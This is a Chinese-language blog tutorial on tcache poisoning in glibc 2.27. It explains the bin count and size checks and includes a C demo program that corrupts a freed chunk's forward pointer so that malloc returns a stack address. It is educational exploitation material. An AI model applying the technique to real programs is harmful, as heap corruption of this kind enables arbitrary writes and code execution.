Tcache Poisoning

黎 浩然/ 11 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.27

除了触发的条件比fastbin较为宽松外,tcache poisoning有一些需要注意的地方。每一个tcachebin都有一个整型数据用于记载着当前的bin有多少个chunk。所以除了盲目地修改tcachebin chunk的fd域外,我们还需要尽量确保这个count是正数来表示该bin尚且有chunk。

不过这个count值的确保不是必须的,而只是为了让堆的数据结构显得更加正常。除此之外,待分配的chunk不需要像fastbin chunk那样检查size字段。不过我们还是尽量应该满足这个条件,因为这个极有可能是比2.27更高版本的glibc的硬性要求。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\\n"
		   "The attack is very similar to fastbin corruption attack.\\n");
	printf("After the patch <https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n>"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n");

	size_t stack_var;
	printf("The address we want malloc() to return is %p.\\n", (char *)&stack_var);

	printf("Allocating 2 buffers.\\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\\n", b);

	printf("Freeing the buffers...\\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n"
		   "to point to the location to control (%p).\\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("Now the tcache list has [ %p -> %p ].\\n", b, &stack_var);

	printf("1st malloc(128): %p\\n", malloc(128));
	printf("Now the tcache list has [ %p ].\\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\\n", c);
	printf("We got the control\\n");

	assert((long)&stack_var == (long)c);
	return 0;
}

另外还需要记住的是就是tcachebin中的chunk的fd指针所指向的chunk是不包括元数据的。

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*